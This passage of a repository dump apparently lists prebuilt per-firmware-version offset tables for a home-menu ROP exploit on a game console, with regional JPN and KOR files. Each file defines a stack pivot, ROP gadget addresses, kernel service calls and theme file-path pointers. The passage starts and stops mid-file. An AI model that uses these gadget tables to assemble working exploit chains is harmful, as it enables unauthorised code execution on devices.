36 | #define svcGetProcessId 0x0012b028
37 | #define SRV_GETSERVICEHANDLE 0x00235644
38 | #define CFGIPC_SecureInfoGetRegion 0x001377b0
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b99c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00145874
42 | #define FS_MountSdmc 0x00118b68
43 | #define IFile_Open 0x0022b980
44 | #define IFile_Close 0x0022f718
45 | #define IFile_Seek 0x002213a0
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b420
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b028
50 | #define NSS_LaunchTitle 0x0023110c
51 | #define NSS_RebootSystem 0x0013738c
52 | #define GSPGPU_Shutdown 0x00119f1c
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/22528:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00237004
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x00237520
19 | #define MEMSET32_OTHER 0x002338cc
20 | 
21 | #define svcControlMemory 0x002356f4
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b974
28 | #define IFile_Write 0x00220d1c
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213f6c
32 | #define ROP_CMPR0R1 0x002a18e4
33 | #define ROP_INITOBJARRAY 0x0022bf11
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x0023574c
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022ba88
44 | #define IFile_Close 0x0022f820
45 | #define IFile_Seek 0x002214a8
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b0fc
50 | #define NSS_LaunchTitle 0x00231214
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/23552:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00237020
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x0023753c
19 | #define MEMSET32_OTHER 0x002338e8
20 | 
21 | #define svcControlMemory 0x00235710
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b990
28 | #define IFile_Write 0x00220d38
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213f88
32 | #define ROP_CMPR0R1 0x002a1900
33 | #define ROP_INITOBJARRAY 0x0022bf2d
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235768
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022baa4
44 | #define IFile_Close 0x0022f83c
45 | #define IFile_Seek 0x002214c4
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b118
50 | #define NSS_LaunchTitle 0x00231230
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/24576:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00237020
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x0023753c
19 | #define MEMSET32_OTHER 0x002338e8
20 | 
21 | #define svcControlMemory 0x00235710
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b990
28 | #define IFile_Write 0x00220d38
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213f88
32 | #define ROP_CMPR0R1 0x002a1914
33 | #define ROP_INITOBJARRAY 0x0022bf2d
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235768
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022baa4
44 | #define IFile_Close 0x0022f83c
45 | #define IFile_Seek 0x002214c4
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b12c
50 | #define NSS_LaunchTitle 0x00231230
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/25600:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00237050
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x0023756c
19 | #define MEMSET32_OTHER 0x00233918
20 | 
21 | #define svcControlMemory 0x00235740
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b9c0
28 | #define IFile_Write 0x00220d68
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213fb8
32 | #define ROP_CMPR0R1 0x002a18e4
33 | #define ROP_INITOBJARRAY 0x0022bf5d
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235798
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022bad4
44 | #define IFile_Close 0x0022f86c
45 | #define IFile_Seek 0x002214f4
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b0fc
50 | #define NSS_LaunchTitle 0x00231260
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/26626:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x002372b4
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x00150544
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x002377d0
19 | #define MEMSET32_OTHER 0x00233b7c
20 | 
21 | #define svcControlMemory 0x002359a4
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9d0
25 | #define GSPGPU_SERVHANDLEADR 0x0033bfd0
26 | 
27 | #define IFile_Read 0x0022bca8
28 | #define IFile_Write 0x00220fb0
29 | 
30 | #define POP_R0PC 0x00157950
31 | #define ROP_LDRR1R1_STRR1R0 0x00214200
32 | #define ROP_CMPR0R1 0x002a1be8
33 | #define ROP_INITOBJARRAY 0x0022c245
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x002359fc
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014bad4
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459ac
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bdbc
44 | #define IFile_Close 0x0022fb54
45 | #define IFile_Seek 0x0022173c
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032e848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b4a8
50 | #define NSS_LaunchTitle 0x002314c4
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032e738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032e73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032f604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032f60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032f610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032f618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032f61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/27648:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x002372b4
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x00150544
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x002377d0
19 | #define MEMSET32_OTHER 0x00233b7c
20 | 
21 | #define svcControlMemory 0x002359a4
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9d0
25 | #define GSPGPU_SERVHANDLEADR 0x0033bfd0
26 | 
27 | #define IFile_Read 0x0022bca8
28 | #define IFile_Write 0x00220fb0
29 | 
30 | #define POP_R0PC 0x00157950
31 | #define ROP_LDRR1R1_STRR1R0 0x00214200
32 | #define ROP_CMPR0R1 0x002a1bf4
33 | #define ROP_INITOBJARRAY 0x0022c245
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x002359fc
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014bad4
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459ac
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bdbc
44 | #define IFile_Close 0x0022fb54
45 | #define IFile_Seek 0x0022173c
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032e848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b4b4
50 | #define NSS_LaunchTitle 0x002314c4
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032e738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032e73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032f604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032f60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032f610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032f618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032f61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/28672:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x002372cc
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x0015055c
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x002377e8
19 | #define MEMSET32_OTHER 0x00233b94
20 | 
21 | #define svcControlMemory 0x002359bc
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9e8
25 | #define GSPGPU_SERVHANDLEADR 0x0033bfd0
26 | 
27 | #define IFile_Read 0x0022bcc0
28 | #define IFile_Write 0x00220fc8
29 | 
30 | #define POP_R0PC 0x00157968
31 | #define ROP_LDRR1R1_STRR1R0 0x00214218
32 | #define ROP_CMPR0R1 0x002a1c0c
33 | #define ROP_INITOBJARRAY 0x0022c25d
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x00235a14
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014baec
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459c4
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bdd4
44 | #define IFile_Close 0x0022fb6c
45 | #define IFile_Seek 0x00221754
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032e848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b4cc
50 | #define NSS_LaunchTitle 0x002314dc
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032e738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032e73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032f604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032f60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032f610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032f618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032f61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/KOR/10240:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00236e0c
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x00237328
19 | #define MEMSET32_OTHER 0x002336d4
20 | 
21 | #define svcControlMemory 0x002354fc
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b77c
28 | #define IFile_Write 0x00220b20
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213d70
32 | #define ROP_CMPR0R1 0x002a17c8
33 | #define ROP_INITOBJARRAY 0x0022bd19
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235554
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022b890
44 | #define IFile_Close 0x0022f628
45 | #define IFile_Seek 0x002212ac
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b0c8
50 | #define NSS_LaunchTitle 0x0023101c
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/KOR/11266:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x002371b8
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x00150544
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x002376d4
19 | #define MEMSET32_OTHER 0x00233a80
20 | 
21 | #define svcControlMemory 0x002358a8
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9d0
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022bbac
28 | #define IFile_Write 0x00220eb0
29 | 
30 | #define POP_R0PC 0x00157950
31 | #define ROP_LDRR1R1_STRR1R0 0x00214100
32 | #define ROP_CMPR0R1 0x002a1acc
33 | #define ROP_INITOBJARRAY 0x0022c149
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x00235900
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014bad4
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459ac
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bcc0
44 | #define IFile_Close 0x0022fa58
45 | #define IFile_Seek 0x0022163c
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b474
50 | #define NSS_LaunchTitle 0x002313c8
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/KOR/12288:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x002371b8
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x00150544
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
